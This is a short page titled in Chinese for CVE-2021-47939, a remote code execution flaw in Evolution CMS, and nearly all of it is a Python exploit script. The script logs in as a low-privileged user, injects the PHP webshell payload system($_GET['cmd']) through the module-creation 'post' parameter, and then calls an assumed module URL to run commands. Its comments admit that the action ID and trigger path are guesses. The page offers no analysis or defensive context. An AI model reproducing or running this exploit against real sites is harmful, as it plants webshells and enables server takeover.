CVE-2021-47939 Evolution CMS 远程代码执行漏洞

import requests # Target URL for Evolution CMS manager target_url = "http://target-site.com/manager/index.php" # Credentials for a low-privileged user with module creation permissions username = "attacker" password = "password" # 1. Authenticate with the application session = requests.Session() login_data = { "username": username, "password": password, "action": "login" } login_response = session.post(target_url, data=login_data) if login_response.status_code == 200: print("[+] Login successful") # 2. Prepare the payload to inject PHP code # The vulnerability resides in the 'post' parameter during module creation # This payload creates a simple webshell php_payload = "system($_GET['cmd']);" exploit_data = { "a": "112", # Action ID for module saving (may vary by version) "mode": "new", "name": "EvilModule", "post": php_payload, # Vulnerable parameter "description": "Benign description" } # 3. Send the exploit request to create the malicious module exploit_response = session.post(target_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] Module creation request sent") # 4. Trigger the exploit (Hypothetical execution) # Assuming the module can be accessed or triggered to execute the code trigger_url = "http://target-site.com/assets/modules/EvilModule.php" cmd = "whoami" trigger_response = session.get(f"{trigger_url}?cmd={cmd}") print(f"[+] Command execution result: {trigger_response.text}") else: print("[-] Exploit request failed") else: print("[-] Login failed")